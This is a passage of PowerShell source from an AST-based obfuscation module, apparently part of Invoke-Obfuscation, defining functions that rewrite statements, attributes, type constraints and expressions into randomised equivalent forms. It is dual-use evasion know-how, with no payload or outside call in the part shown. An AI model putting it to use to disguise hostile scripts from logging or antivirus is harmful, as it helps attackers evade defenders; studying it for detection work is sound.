1086 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -ChildrenAsts $RealChildren -AstTypesToObfuscate $AstTypesToObfuscate
1087 }
1088 ElseIf ($FunctionDefinitionBlocks.Count -gt 1) {
1089 $Children = $Children | Sort-Object { $_.Extent.StartOffset }
1090 $Reordered = Out-ObfuscatedAstsReordered -ParentAst $AbstractSyntaxTree -ChildrenAsts ($FunctionDefinitionBlocks | Sort-Object { $_.Extent.StartOffset }) -AstTypesToObfuscate $AstTypesToObfuscate
1091
1092 If ($AbstractSyntaxTree.ParamBlock) {
1093 $ObfuscatedParamBlock = Out-ObfuscatedAst -AbstractSyntaxTree $AbstractSyntaxTree.ParamBlock -AstTypesToObfuscate $AstTypesToObfuscate
1094 $FinalObfuscated = [String] $AbstractSyntaxTree.Extent.Text.Substring(0, $AbstractSyntaxTree.ParamBlock.Extent.StartOffset - $AbstractSyntaxTree.Extent.StartOffset)
1095 $FinalObfuscated += [String] $ObfuscatedParamBlock
1096 $FinalObfuscated += [String] $Reordered.Substring($AbstractSyntaxTree.ParamBlock.Extent.StartOffset - $AbstractSyntaxTree.Extent.StartOffset + $AbstractSyntaxTree.ParamBlock.Extent.Text.Length)
1097 } Else { $FinalObfuscated = $Reordered }
1098
1099 $FinalObfuscated
1100 }
1101 Else {
1102 $Children = $Children | Sort-Object { $_.Extent.StartOffset }
1103 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -ChildrenAsts $Children -AstTypesToObfuscate $AstTypesToObfuscate
1104 }
1105 }
1106 Else { $AbstractSyntaxTree.Extent.Text }
1107 }
1108 }
1109
1110 function Out-ObfuscatedStatementAst {
1111 <#
1112
1113 .SYNOPSIS
1114
1115 Obfuscates a StatementAst using AbstractSyntaxTree-based obfuscation rules.
1116
1117 Author: Ryan Cobb (@cobbr_io)
1118 License: Apache License, Version 2.0
1119 Required Dependecies: Out-ObfuscatedChildrenAst
1120 Optional Dependencies: none
1121
1122 .DESCRIPTION
1123
1124 Out-ObfuscatedStatementAst obfuscates a StatementAst using AbstractSyntaxTree-based obfuscation rules.
1125
1126 .PARAMETER AbstractSyntaxTree
1127
1128 Specifies the StatementAst to be obfuscated.
1129
1130 .PARAMETER AstTypesToObfuscate
1131
1132 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
1133
1134 .PARAMETER DisableNestedObfuscation
1135
1136 Specifies that only the root StatementAst should be obfuscated, obfuscation should not be applied recursively.
1137
1138 .OUTPUTS
1139
1140 String
1141
1142 .EXAMPLE
1143
1144 Out-ObfuscatedStatementAst -Ast $StatementAst
1145
1146 .NOTES
1147
1148 Out-ObfuscatedStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
1149
1150 #>
1151 Param (
1152 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
1153 [ValidateNotNullOrEmpty()]
1154 [Alias('Ast')]
1155 [System.Management.Automation.Language.StatementAst] $AbstractSyntaxTree,
1156
1157 [Parameter(Position = 1)]
1158 [ValidateNotNullOrEmpty()]
1159 [Alias('AstTypes', 'Types')]
1160 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
1161
1162 [Switch] $DisableNestedObfuscation
1163 )
1164 Process {
1165 Write-Verbose "[Out-ObfuscatedStatementAst]"
1166 If (-not $DisableNestedObfuscation) {
1167 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1168 }
1169 Else { $AbstractSyntaxTree.Extent.Text }
1170 }
1171 }
1172
1173 function Out-ObfuscatedStatementBlockAst {
1174 <#
1175
1176 .SYNOPSIS
1177
1178 Obfuscates a StatementBlockAst using AbstractSyntaxTree-based obfuscation rules.
1179
1180 Author: Ryan Cobb (@cobbr_io)
1181 License: Apache License, Version 2.0
1182 Required Dependecies: Out-ObfuscatedChildrenAst
1183 Optional Dependencies: none
1184
1185 .DESCRIPTION
1186
1187 Out-ObfuscatedStatementBlockAst obfuscates a StatementBlockAst using AbstractSyntaxTree-based obfuscation rules.
1188
1189 .PARAMETER AbstractSyntaxTree
1190
1191 Specifies the StatementBlockAst to be obfuscated.
1192
1193 .PARAMETER AstTypesToObfuscate
1194
1195 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
1196
1197 .PARAMETER DisableNestedObfuscation
1198
1199 Specifies that only the root StatementBlockAst should be obfuscated, obfuscation should not be applied recursively.
1200
1201 .OUTPUTS
1202
1203 String
1204
1205 .EXAMPLE
1206
1207 Out-ObfuscatedStatementBlockAst -Ast $StatementBlockAst
1208
1209 .NOTES
1210
1211 Out-ObfuscatedStatementBlockAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
1212
1213 #>
1214 Param (
1215 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
1216 [ValidateNotNullOrEmpty()]
1217 [Alias('Ast')]
1218 [System.Management.Automation.Language.StatementBlockAst] $AbstractSyntaxTree,
1219
1220 [Parameter(Position = 1)]
1221 [ValidateNotNullOrEmpty()]
1222 [Alias('AstTypes', 'Types')]
1223 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
1224
1225 [Switch] $DisableNestedObfuscation
1226 )
1227 Process {
1228 Write-Verbose "[Out-ObfuscatedStatementBlockAst]"
1229 If (-not $DisableNestedObfuscation) {
1230 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1231 }
1232 Else { $AbstractSyntaxTree.Extent.Text }
1233 }
1234 }
1235
1236 # AttributeBaseAst Inherited classes
1237
1238 function Out-ObfuscatedAttributeAst {
1239 <#
1240
1241 .SYNOPSIS
1242
1243 Obfuscates a AttributeAst using AbstractSyntaxTree-based obfuscation rules.
1244
1245 Author: Ryan Cobb (@cobbr_io)
1246 License: Apache License, Version 2.0
1247 Required Dependecies: Out-ObfuscatedAstsReordered
1248 Optional Dependencies: none
1249
1250 .DESCRIPTION
1251
1252 Out-ObfuscatedAttributeAst obfuscates a AttributeAst using AbstractSyntaxTree-based obfuscation rules.
1253
1254 .PARAMETER AbstractSyntaxTree
1255
1256 Specifies the AttributeAst to be obfuscated.
1257
1258 .PARAMETER AstTypesToObfuscate
1259
1260 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
1261
1262 .PARAMETER DisableNestedObfuscation
1263
1264 Specifies that only the root AttributeAst should be obfuscated, obfuscation should not be applied recursively.
1265
1266 .OUTPUTS
1267
1268 String
1269
1270 .EXAMPLE
1271
1272 Out-ObfuscatedAttributeAst -Ast $AttributeAst
1273
1274 .NOTES
1275
1276 Out-ObfuscatedAttributeAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
1277
1278 #>
1279 Param (
1280 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
1281 [ValidateNotNullOrEmpty()]
1282 [Alias('Ast')]
1283 [System.Management.Automation.Language.AttributeAst] $AbstractSyntaxTree,
1284
1285 [Parameter(Position = 1)]
1286 [ValidateNotNullOrEmpty()]
1287 [Alias('AstTypes', 'Types')]
1288 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
1289
1290 [Switch] $DisableNestedObfuscation
1291 )
1292 Process {
1293 Write-Verbose "[Out-ObfuscatedAttributeAst]"
1294 If (-not ($AbstractSyntaxTree.GetType() -in $AstTypesToObfuscate)) {
1295 If (-not $DisableNestedObfuscation) {
1296 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1297 }
1298 Else { $AbstractSyntaxTree.Extent.Text }
1299 }
1300 Else {
1301 $ObfuscatedString = $AbstractSyntaxTree.Extent.Text
1302 If ($AbstractSyntaxTree.NamedArguments.Count -gt 0) {
1303 $NamedArguments = $AbstractSyntaxTree.NamedArguments
1304 If ($DisableNestedObfuscation) {
1305 $ObfuscatedString = Out-ObfuscatedAstsReordered -ParentAst $AbstractSyntaxTree -ChildrenAsts $NamedArguments -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation
1306 } Else {
1307 $ObfuscatedString = Out-ObfuscatedAstsReordered -ParentAst $AbstractSyntaxTree -ChildrenAsts $NamedArguments -AstTypesToObfuscate $AstTypesToObfuscate
1308 }
1309 }
1310 ElseIf ($AbstractSyntaxTree.PositionalArguments.Count -gt 0) {
1311 If ($AbstractSyntaxTree.TypeName.FullName -in @('Alias', 'ValidateSet')) {
1312 $PositionalArguments = $AbstractSyntaxTree.PositionalArguments
1313 If ($DisableNestedObfuscation) {
1314 $ObfuscatedString = Out-ObfuscatedAstsReordered -ParentAst $AbstractSyntaxTree -ChildrenAsts $PositionalArguments -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation
1315 } Else {
1316 $ObfuscatedString = Out-ObfuscatedAstsReordered -ParentAst $AbstractSyntaxTree -ChildrenAsts $PositionalArguments -AstTypesToObfuscate $AstTypesToObfuscate
1317 }
1318 }
1319 }
1320
1321 $ObfuscatedString
1322 }
1323 }
1324 }
1325
1326 function Out-ObfuscatedTypeConstraintAst {
1327 <#
1328
1329 .SYNOPSIS
1330
1331 Obfuscates a TypeConstraintAst using AbstractSyntaxTree-based obfuscation rules.
1332
1333 Author: Ryan Cobb (@cobbr_io)
1334 License: Apache License, Version 2.0
1335 Required Dependecies: Out-ObfuscatedChildrenAst
1336 Optional Dependencies: none
1337
1338 .DESCRIPTION
1339
1340 Out-ObfuscatedTypeConstraintAst obfuscates a TypeConstraintAst using AbstractSyntaxTree-based obfuscation rules.
1341
1342 .PARAMETER AbstractSyntaxTree
1343
1344 Specifies the TypeConstraintAst to be obfuscated.
1345
1346 .PARAMETER AstTypesToObfuscate
1347
1348 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
1349
1350 .PARAMETER DisableNestedObfuscation
1351
1352 Specifies that only the root TypeConstraintAst should be obfuscated, obfuscation should not be applied recursively.
1353
1354 .OUTPUTS
1355
1356 String
1357
1358 .EXAMPLE
1359
1360 Out-ObfuscatedTypeConstraintAst -Ast $TypeConstraintAst
1361
1362 .NOTES
1363
1364 Out-ObfuscatedTypeConstraintAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
1365
1366 #>
1367 Param (
1368 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
1369 [ValidateNotNullOrEmpty()]
1370 [Alias('Ast')]
1371 [System.Management.Automation.Language.TypeConstraintAst] $AbstractSyntaxTree,
1372
1373 [Parameter(Position = 1)]
1374 [ValidateNotNullOrEmpty()]
1375 [Alias('AstTypes', 'Types')]
1376 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
1377
1378 [Switch] $DisableNestedObfuscation
1379 )
1380 Process {
1381 Write-Verbose "[Out-ObfuscatedTypeConstraintAst]"
1382 If (-not ($AbstractSyntaxTree.GetType() -in $AstTypesToObfuscate)) {
1383 If (-not $DisableNestedObfuscation) {
1384 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1385 }
1386 Else { $AbstractSyntaxTree.Extent.Text }
1387 }
1388 Else {
1389 $TypeAccelerators = @(
1390 @("[Int]", "[System.Int32]"),
1391 @("[Long]", "[System.Int64]"),
1392 @("[Bool]", "[System.Boolean]"),
1393 @("[Float]", "[System.Single]"),
1394 @("[Regex]", "[System.Text.RegularExpressions.Regex]"),
1395 @("[Xml]", "[System.Xml.XmlDocument]"),
1396 @("[ScriptBlock]", "[System.Management.Automation.ScriptBlock]"),
1397 @("[Switch]", "[System.Management.Automation.SwitchParameter]"),
1398 @("[HashTable]", "[System.Collections.HashTable]"),
1399 @("[Ref]", "[System.Management.Automation.PSReference]"),
1400 @("[PSObject]", "[System.Management.Automation.PSObject]"),
1401 @("[PSCustomObject]", "[System.Management.Automation.PSCustomObject]"),
1402 @("[PSModuleInfo]", "[System.Management.Automation.PSModuleInfo]"),
1403 @("[PowerShell]", "[System.Management.Automation.PSModuleInfo]"),
1404 @("[RunspaceFactory]", "[System.Management.Automation.Runspaces.RunspaceFactory]"),
1405 @("[Runspace]", "[System.Management.Automation.Runspaces.Runspace]"),
1406 @("[IPAddress]", "[System.Net.IPAddress]"),
1407 @("[WMI]", "[System.Management.ManagementObject]"),
1408 @("[WMISearcher]", "[System.Management.ManagementObjectSearcher]"),
1409 @("[WMIClass]", "[System.Management.ManagementClass]"),
1410 @("[ADSI]", "[System.DirectoryServices.DirectoryEntry]"),
1411 @("[ADSISearcher]", "[System.DirectoryServices.DirectorySearcher]"),
1412 @("[PSPrimitiveDictionary]", "[System.Management.Automation.PSPrimitiveDictionary]")
1413 )
1414 $TypesCannotPrependSystem = $TypeAccelerators | % { $_[0] }
1415
1416 $ObfuscatedExtent = $AbstractSyntaxTree.Extent.Text
1417 $FoundEquivalent = $False
1418 ForEach ($TypeAccelerator in $TypeAccelerators) {
1419 ForEach ($TypeName in $TypeAccelerator) {
1420 If ($TypeName.ToLower() -eq $AbstractSyntaxTree.Extent.Text.ToLower()) {
1421 $ObfuscatedExtent = $TypeAccelerator | Get-Random
1422 $FoundEquivalent = $True
1423 break
1424 }
1425 }
1426 If ($FoundEquivalent) { break }
1427 }
1428
1429 If ($ObfuscatedExtent.ToLower().StartsWith("[system.")) {
1430 If ((Get-Random -Minimum 1 -Maximum 3) -eq 1) {
1431 $ObfuscatedExtent = "[" + $ObfuscatedExtent.SubString(8)
1432 }
1433 }
1434 ElseIf ((-not $ObfuscatedExtent.ToLower().StartsWith("[system.")) -AND (-not $ObfuscatedExtent -in $TypesCannotPrependSystem)) {
1435 If ((Get-Random -Minimum 1 -Maximum 3) -eq 1) {
1436 $ObfuscatedExtent = "[System." + $ObfuscatedExtent.SubString(1)
1437 }
1438 }
1439 $ObfuscatedExtent
1440 }
1441 }
1442 }
1443
1444
1445 # CommandElementAst Inherited Classes
1446
1447 function Out-ObfuscatedCommandParameterAst {
1448 <#
1449
1450 .SYNOPSIS
1451
1452 Obfuscates a CommandParameterAst using AbstractSyntaxTree-based obfuscation rules.
1453
1454 Author: Ryan Cobb (@cobbr_io)
1455 License: Apache License, Version 2.0
1456 Required Dependecies: Out-ObfuscatedChildrenAst
1457 Optional Dependencies: none
1458
1459 .DESCRIPTION
1460
1461 Out-ObfuscatedCommandParameterAst obfuscates a CommandParameterAst using AbstractSyntaxTree-based obfuscation rules.
1462
1463 .PARAMETER AbstractSyntaxTree
1464
1465 Specifies the CommandParameterAst to be obfuscated.
1466
1467 .PARAMETER AstTypesToObfuscate
1468
1469 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
1470
1471 .PARAMETER DisableNestedObfuscation
1472
1473 Specifies that only the root CommandParameterAst should be obfuscated, obfuscation should not be applied recursively.
1474
1475 .OUTPUTS
1476
1477 String
1478
1479 .EXAMPLE
1480
1481 Out-ObfuscatedCommandParameterAst -Ast $CommandParameterAst
1482
1483 .NOTES
1484
1485 Out-ObfuscatedCommandParameterAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
1486
1487 #>
1488 Param (
1489 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
1490 [ValidateNotNullOrEmpty()]
1491 [Alias('Ast')]
1492 [System.Management.Automation.Language.CommandParameterAst] $AbstractSyntaxTree,
1493
1494 [Parameter(Position = 1)]
1495 [ValidateNotNullOrEmpty()]
1496 [Alias('AstTypes', 'Types')]
1497 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
1498
1499 [Switch] $DisableNestedObfuscation
1500 )
1501 Process {
1502 Write-Verbose "[Out-ObfuscatedCommandParameterAst]"
1503 If (-not $DisableNestedObfuscation) {
1504 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1505 }
1506 Else { $AbstractSyntaxTree.Extent.Text }
1507 }
1508 }
1509
1510 function Out-ObfuscatedExpressionAst {
1511 <#
1512
1513 .SYNOPSIS
1514
1515 Obfuscates a ExpressionAst using AbstractSyntaxTree-based obfuscation rules.
1516
1517 Author: Ryan Cobb (@cobbr_io)
1518 License: Apache License, Version 2.0
1519 Required Dependecies: Out-ObfuscatedArrayExpressionAst, Out-ObfuscatedArrayLiteralAst, Out-ObfuscatedAttributedExpressionAst, Out-ObfuscatedBinaryExpressionAst, Out-ObfuscatedConstantExpressionAst, Out-ObfuscatedErrorExpressionAst, Out-ObfuscatedExpandedStringExpressionAst, Out-ObfuscatedHashtableAst, Out-ObfuscatedIndexExpressionAst, Out-ObfuscatedMemberExpressionAst, Out-ObfuscatedParenExpressionAst, Out-ObfuscatedScriptBlockExpressionAst, Out-ObfuscatedSubExpressionAst, Out-ObfuscatedTypeExpressionAst, Out-ObfuscatedUnaryExpressionAst, Out-ObfuscatedUsingExpressionAst, Out-ObfuscatedVariableExpressionAst, Out-ObfuscatedChildrenAst
1520 Optional Dependencies: none
1521
1522 .DESCRIPTION
1523
1524 Out-ObfuscatedExpressionAst obfuscates a ExpressionAst using AbstractSyntaxTree-based obfuscation rules.
1525
1526 .PARAMETER AbstractSyntaxTree
1527
1528 Specifies the ExpressionAst to be obfuscated.
1529
1530 .PARAMETER AstTypesToObfuscate
1531
1532 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
1533
1534 .PARAMETER DisableNestedObfuscation
1535
1536 Specifies that only the root ExpressionAst should be obfuscated, obfuscation should not be applied recursively.
1537
1538 .OUTPUTS
1539
1540 String
1541
1542 .EXAMPLE
1543
1544 Out-ObfuscatedExpressionAst -Ast $ExpressionAst
1545
1546 .NOTES
1547
1548 Out-ObfuscatedExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
1549
1550 #>
1551 Param (
1552 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
1553 [ValidateNotNullOrEmpty()]
1554 [Alias('Ast')]
1555 [System.Management.Automation.Language.ExpressionAst] $AbstractSyntaxTree,
1556
1557 [Parameter(Position = 1)]
1558 [ValidateNotNullOrEmpty()]
1559 [Alias('AstTypes', 'Types')]
1560 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
1561
1562 [Switch] $DisableNestedObfuscation
1563 )
1564 Process {
1565 Write-Verbose "[Out-ObfuscatedExpressionAst]"
1566 # Abstract Ast Type, call inherited ast obfuscation type
1567 If ($AbstractSyntaxTree.GetType().Name -eq 'ArrayExpressionAst') {
1568 Out-ObfuscatedArrayExpressionAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1569 }
1570 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'ArrayLiteralAst') {
1571 Out-ObfuscatedArrayLiteralAst -AbstractSyntaxTree $AbstractSyntaxTree
1572 }
1573 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'AttributedExpressionAst') {
1574 Out-ObfuscatedAttributedExpressionAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1575 }
1576 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'BinaryExpressionAst') {
1577 Out-ObfuscatedBinaryExpressionAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1578 }
1579 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'ConstantExpressionAst') {
1580 Out-ObfuscatedConstantExpressionAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1581 }
1582 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'ErrorExpressionAst') {
1583 Out-ObfuscatedErrorExpressionAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1584 }
1585 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'ExpandedStringExpressionAst') {
1586 Out-ObfuscatedExpandedStringExpressionAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1587 }
1588 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'HashtableAst') {
1589 Out-ObfuscatedHashtableAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1590 }
1591 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'IndexExpressionAst') {
1592 Out-ObfuscatedIndexExpressionAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1593 }
1594 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'MemberExpressionAst') {
1595 Out-ObfuscatedMemberExpressionAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1596 }
1597 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'ParenExpressionAst') {
1598 Out-ObfuscatedParenExpressionAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1599 }
1600 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'ScriptBlockExpressionAst') {
1601 Out-ObfuscatedScriptBlockExpressionAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1602 }
1603 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'SubExpressionAst') {
1604 Out-ObfuscatedSubExpressionAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1605 }
1606 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'TypeExpressionAst') {
1607 Out-ObfuscatedTypeExpressionAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1608 }
1609 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'UnaryExpressionAst') {
1610 Out-ObfuscatedUnaryExpressionAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1611 }
1612 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'UsingExpressionAst') {
1613 Out-ObfuscatedUsingExpressionAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1614 }
1615 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'VariableExpressionAst') {
1616 Out-ObfuscatedVariableExpressionAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1617 }
1618 ElseIf (-not $DisableNestedObfuscation) {
1619 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1620 }
1621 Else {
1622 $AbstractSyntaxTree.Extent.Text
1623 }
1624 }
1625 }
1626
1627 # ExpressionAst Inherited Classes
1628
1629 function Out-ObfuscatedArrayExpressionAst {
1630 <#
1631
1632 .SYNOPSIS
1633
1634 Obfuscates an ArrayExpressionAst using AbstractSyntaxTree-based obfuscation rules.
1635
1636 Author: Ryan Cobb (@cobbr_io)
1637 License: Apache License, Version 2.0
1638 Required Dependecies: Out-ObfuscatedChildrenAst
1639 Optional Dependencies: none
1640
1641 .DESCRIPTION
1642
1643 Out-ObfuscatedArrayExpressionAst obfuscates an ArrayExpressionAst using AbstractSyntaxTree-based obfuscation rules.
1644
1645 .PARAMETER AbstractSyntaxTree
1646
1647 Specifies the ArrayExpressionAst to be obfuscated.
1648
1649 .PARAMETER AstTypesToObfuscate
1650
1651 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
1652
1653 .PARAMETER DisableNestedObfuscation
1654
1655 Specifies that only the root ArrayExpressionAst should be obfuscated, obfuscation should not be applied recursively.
1656
1657 .OUTPUTS
1658
1659 String
1660
1661 .EXAMPLE
1662
1663 Out-ObfuscatedArrayExpressionAst -Ast $ArrayExpressionAst
1664
1665 .NOTES
1666
1667 Out-ObfuscatedArrayExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
1668
1669 #>
1670 Param (
1671 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
1672 [ValidateNotNullOrEmpty()]
1673 [Alias('Ast')]
1674 [System.Management.Automation.Language.ArrayExpressionAst] $AbstractSyntaxTree,
1675
1676 [Parameter(Position = 1)]
1677 [ValidateNotNullOrEmpty()]
1678 [Alias('AstTypes', 'Types')]
1679 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
1680
1681 [Switch] $DisableNestedObfuscation
1682 )
1683 Process {
1684 Write-Verbose "[Out-ObfuscatedArrayExpressionAst]"
1685 If (-not $DisableNestedObfuscation) {
1686 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1687 }
1688 Else { $AbstractSyntaxTree.Extent.Text }
1689 }
1690 }
1691
1692 function Out-ObfuscatedArrayLiteralAst {
1693 <#
1694
1695 .SYNOPSIS
1696
1697 Obfuscates an ArrayLiteralAst using AbstractSyntaxTree-based obfuscation rules.
1698
1699 Author: Ryan Cobb (@cobbr_io)
1700 License: Apache License, Version 2.0
1701 Required Dependecies: Out-ObfuscatedChildrenAst
1702 Optional Dependencies: none
1703
1704 .DESCRIPTION
1705
1706 Out-ObfuscatedArrayLiteralAst obfuscates an ArrayLiteralAst using AbstractSyntaxTree-based obfuscation rules.
1707
1708 .PARAMETER AbstractSyntaxTree
1709
1710 Specifies the ArrayLiteralAst to be obfuscated.
1711
1712 .PARAMETER AstTypesToObfuscate
1713
1714 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
1715
1716 .PARAMETER DisableNestedObfuscation
1717
1718 Specifies that only the root ArrayLiteralAst should be obfuscated, obfuscation should not be applied recursively.
1719
1720 .OUTPUTS
1721
1722 String
1723
1724 .EXAMPLE
1725
1726 Out-ObfuscatedArrayLiteralAst -Ast $ArrayLiteralAst
1727
1728 .NOTES
1729
1730 Out-ObfuscatedArrayLiteralAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
1731
1732 #>
1733 Param (
